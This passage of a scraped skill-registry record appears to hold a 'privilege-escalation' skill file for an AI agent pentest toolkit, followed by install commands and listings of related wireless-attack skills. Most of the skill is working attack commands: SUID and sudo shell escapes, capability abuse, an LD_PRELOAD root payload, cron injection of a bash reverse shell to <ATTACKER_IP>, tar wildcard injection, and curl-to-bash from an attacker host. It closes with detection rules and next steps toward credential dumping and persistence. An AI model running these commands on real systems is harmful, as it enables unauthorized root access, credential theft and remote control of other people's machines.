\u002Fusr\u002Fbin\u002Fvim       → vim -c ':!sh'\n# \u002Fusr\u002Fbin\u002Fpython3   → python3 -c 'import os; os.execl(\"\u002Fbin\u002Fsh\",\"sh\",\"-p\")'\n# \u002Fusr\u002Fbin\u002Fbash      → bash -p\n# \u002Fusr\u002Fbin\u002Fenv       → env \u002Fbin\u002Fsh -p\n# \u002Fusr\u002Fbin\u002Fnmap      → nmap --interactive → !sh (old versions)\n# \u002Fusr\u002Fbin\u002Fcp        → cp \u002Fetc\u002Fshadow \u002Ftmp\u002Fshadow (read sensitive files)\n# \u002Fusr\u002Fbin\u002Fwget      → overwrite \u002Fetc\u002Fpasswd with crafted version\n\n# Example: SUID python3\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: SUID find\n\u002Fusr\u002Fbin\u002Ffind \u002F -name \"anything\" -exec \u002Fbin\u002Fbash -p \\; -quit\n```\n\n### Sudo Misconfigurations\n```bash\n# Check sudo privileges\nsudo -l\n\n# Common exploitable sudo entries:\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\nsudo vim -c ':!sh'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fless\nsudo less \u002Fetc\u002Fshadow\n# Then type: !sh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fawk\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nsudo find \u002F -name anything -exec \u002Fbin\u002Fsh \\; -quit\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fpython3\nsudo python3 -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fenv\nsudo env \u002Fbin\u002Fsh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ftar\nsudo tar -cf \u002Fdev\u002Fnull \u002Fdev\u002Fnull --checkpoint=1 --checkpoint-action=exec=\u002Fbin\u002Fsh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fzip\nsudo zip \u002Ftmp\u002Fa.zip \u002Ftmp\u002Fa -T --unzip-command=\"sh -c \u002Fbin\u002Fsh\"\n\n# LD_PRELOAD exploit (if env_keep += LD_PRELOAD in sudoers)\n# Compile: gcc -fPIC -shared -o \u002Ftmp\u002Fpe.so pe.c -nostartfiles\n# pe.c: void _init() { setuid(0); system(\"\u002Fbin\u002Fbash\"); }\nsudo LD_PRELOAD=\u002Ftmp\u002Fpe.so \u003Callowed_command>\n```\n\n### Linux Capabilities\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull | tee capabilities_\u003CTARGET>.txt\n\n# Exploitable capabilities:\n# cap_setuid+ep on python3\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# cap_setuid+ep on perl\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# cap_dac_read_search+ep (read any file)\n# Can read \u002Fetc\u002Fshadow, SSH keys, etc.\n\n# cap_net_raw+ep (raw sockets — packet capture)\n# Can sniff network traffic without root\n```\n\n### Cron Job Exploitation\n```bash\n# Enumerate cron jobs\ncat \u002Fetc\u002Fcrontab\nls -la \u002Fetc\u002Fcron.*\ncrontab -l\nls -la \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\u002F\n\n# Find writable cron scripts\nfind \u002Fetc\u002Fcron* -writable -type f 2>\u002Fdev\u002Fnull\nls -la \u002Fetc\u002Fcron.d\u002F\n\n# Writable script in cron — inject reverse shell\necho 'bash -i >& \u002Fdev\u002Ftcp\u002F\u003CATTACKER_IP>\u002F4444 0>&1' >> \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n# PATH injection in cron\n# If crontab has: PATH=\u002Fhome\u002Fuser\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin\n# And runs: * * * * * root backup.sh\n# Create: \u002Fhome\u002Fuser\u002Fbin\u002Fbackup.sh with payload\n\n# Cron wildcard injection (tar)\n# If cron runs: tar czf \u002Fbackup\u002Ffiles.tar.gz *\n# In the target directory:\necho 'bash -i >& \u002Fdev\u002Ftcp\u002F\u003CATTACKER_IP>\u002F4444 0>&1' > shell.sh\ntouch -- \"--checkpoint=1\"\ntouch -- \"--checkpoint-action=exec=sh shell.sh\"\n\n# pspy — monitor cron and process execution without root\n.\u002Fpspy64 | tee pspy_\u003CTARGET>.txt\n```\n\n### Kernel Exploits\n```bash\n# Gather kernel information\nuname -a\ncat \u002Fetc\u002Fos-release\ncat \u002Fproc\u002Fversion\n\n# linux-exploit-suggester\n.\u002Flinux-exploit-suggester.sh | tee kernel_vulns_\u003CTARGET>.txt\n\n# linux-exploit-suggester-2 (Python)\npython3 linux-exploit-suggester-2.py | tee kernel_vulns2_\u003CTARGET>.txt\n\n# Common kernel exploits (verify applicability before running):\n# CVE-2021-4034 — PwnKit (pkexec, polkit \u003C 0.120)\n# CVE-2022-0847 — DirtyPipe (Linux 5.8-5.16.11)\n# CVE-2022-2588 — route4 use-after-free (Linux 5.x)\n# CVE-2023-0386 — OverlayFS (Ubuntu, various kernels)\n# CVE-2023-32233 — nf_tables (Linux \u003C 6.3.2)\n\n# IMPORTANT: Kernel exploits can crash the system.\n# Always check exact kernel version, distribution, and patch level.\n# Test in non-production first when possible.\n```\n\n## 5. Automated Enumeration Tools\n\n### winPEAS (Windows)\n```powershell\n# Full enumeration\nwinPEASx64.exe | tee C:\\Windows\\Temp\\winpeas.txt\n\n# Specific checks\nwinPEASx64.exe servicesinfo          # Service misconfigurations\nwinPEASx64.exe applicationsinfo      # Installed applications\nwinPEASx64.exe windowscreds          # Cached credentials, DPAPI\nwinPEASx64.exe userinfo              # User privilege info\nwinPEASx64.exe systeminfo            # OS, hotfixes, AV\n\n# Quiet mode (less output)\nwinPEASx64.exe quiet servicesinfo windowscreds\n```\n\n### linPEAS (Linux)\n```bash\n# Full enumeration\n.\u002Flinpeas.sh -a 2>&1 | tee linpeas_\u003CTARGET>.txt\n\n# From remote without touching disk\ncurl -sSL https:\u002F\u002F\u003CATTACKER_IP>\u002Flinpeas.sh | bash | tee linpeas_\u003CTARGET>.txt\n\n# Key sections to review:\n# [+] SUID binaries\n# [+] Capabilities\n# [+] Sudo -l\n# [+] Writable files\u002Fdirs\n# [+] Cron jobs\n# [+] Kernel version (CVEs)\n# [+] Interesting files (passwords, keys)\n```\n\n### SharpUp (Windows .NET)\n```powershell\n# All checks\nSharpUp.exe audit\n\n# Specific checks\nSharpUp.exe ModifiableServices\nSharpUp.exe ModifiableServiceBinaries\nSharpUp.exe AlwaysInstallElevated\nSharpUp.exe UnquotedServicePath\nSharpUp.exe TokenPrivileges\n```\n\n### BeRoot (Cross-Platform)\n```bash\n# Windows\nbeRoot.exe\n\n# Linux\npython3 beroot.py\n\n# Checks common escalation vectors automatically\n```\n\n## Tools & Resources\n\n| Tool | Platform | Purpose | Key Usage |\n|------|----------|---------|-----------|\n| GodPotato | Windows | DCOM token impersonation | `-cmd \"command\"` |\n| PrintSpoofer | Windows | Spooler pipe impersonation | `-i -c cmd` |\n| SigmaPotato | Windows | Extended DCOM impersonation | `\"command\"` |\n| winPEAS | Windows | Automated privesc enumeration | `servicesinfo`, `windowscreds` |\n| linPEAS | Linux | Automated privesc enumeration | `-a` full audit |\n| SharpUp | Windows | .NET privesc checker | `audit`, `ModifiableServices` |\n| BeRoot | Both | Cross-platform privesc check | Auto-detect vectors |\n| linux-exploit-suggester | Linux | Kernel exploit identification | Matches kernel version to CVEs |\n| pspy | Linux | Process\u002Fcron monitoring (no root) | `.\u002Fpspy64` |\n| accesschk.exe | Windows | ACL\u002Fpermission checker | `-uwcqv` service permissions |\n| GTFOBins | Linux | SUID\u002Fsudo exploit reference | https:\u002F\u002Fgtfobins.github.io |\n\n## Detection Signatures\n\n| Indicator | Source | Description |\n|-----------|--------|-------------|\n| DCOM OXID resolver calls | Network\u002FETW | GodPotato\u002FSigmaPotato DCOM manipulation |\n| 7045 (Service Install) | System | New service created — service abuse, Potato tools |\n| 4688 + elevated token | Security | Process created with elevated token after impersonation |\n| Registry: ms-settings | Sysmon 13 | fodhelper UAC bypass registry modification |\n| Registry: mscfile | Sysmon 13 | eventvwr UAC bypass registry modification |\n| Named pipe: \\pipe\\spoolss | Sysmon 17\u002F18 | PrintSpoofer pipe impersonation |\n| SUID execution anomaly | Auditd | Unexpected SUID binary execution |\n| Sudo log anomaly | auth.log | Unusual sudo command patterns |\n| Cron script modification | Auditd\u002FAIDE | Changes to scheduled task scripts |\n| Kernel exploit indicators | EDR\u002FAV | Known exploit signatures, memory corruption |\n\n### Key Detection Rules\n```\n# Potato DCOM detection\n- Process spawned by service account executing as SYSTEM\n- Unusual DCOM\u002FRPC traffic patterns from service context\n\n# UAC bypass detection (Sysmon EventID 13 — Registry value set)\n- TargetObject|contains:\n    - 'ms-settings\\Shell\\Open\\command'     # fodhelper\n    - 'mscfile\\Shell\\Open\\command'         # eventvwr\n\n# Service abuse detection (EventID 7045)\n- ServiceFileName|contains:\n    - '\\Temp\\'\n    - '\\Users\\'\n    - Unsigned binaries in non-standard paths\n\n# Linux — suspicious SUID\u002Fcapability usage\n- Unexpected setuid(0) calls from non-standard binaries\n- getcap showing new capabilities on user-writable binaries\n```\n\n## Decision Gate\n\n```\nPrivilege Escalation ─┬─► Credential Access\n                      │    (SYSTEM\u002Froot context enables LSASS dump, shadow read, key extraction)\n                      │\n                      └─► Persistence\n                           (elevated privileges allow service install, scheduled task, rootkit)\n```\n\n**Next steps after privilege escalation:**\n- **SYSTEM on Windows** → Dump LSASS, SAM\u002FSECURITY hives → Credential Access skill\n- **SYSTEM on Domain-joined host** → Extract cached domain credentials → Credential Access skill\n- **root on Linux** → Read \u002Fetc\u002Fshadow, SSH keys, extract secrets → Credential Access skill\n- **Local Admin** → Install persistence mechanism → Persistence\n- **Service account → SYSTEM** → Pivot to credential extraction before moving laterally → Credential Access → Lateral Movement skill\n- **Need domain escalation** → Use extracted creds for AD attacks → Credential Access skill\n",{"name":5,"metadata":24,"description":7,"allowed-tools":28},{"tags":25,"subdomain":5,"when_to_use":26,"mitre_attack":27},"privesc, potato, uac, suid, sudo, kernel, service, dll-hijack, winpeas, linpeas","privilege escalation, privesc, potato, PrintSpoofer, UAC bypass, SUID, sudo, winPEAS, linPEAS, kernel exploit, service abuse","T1134.001, T1548.002, T1574.001, T1068, T1053.003","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fprivilege-escalation","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill privilege-escalation",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill privilege-escalation",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill privilege-escalation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fprivilege-escalation\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]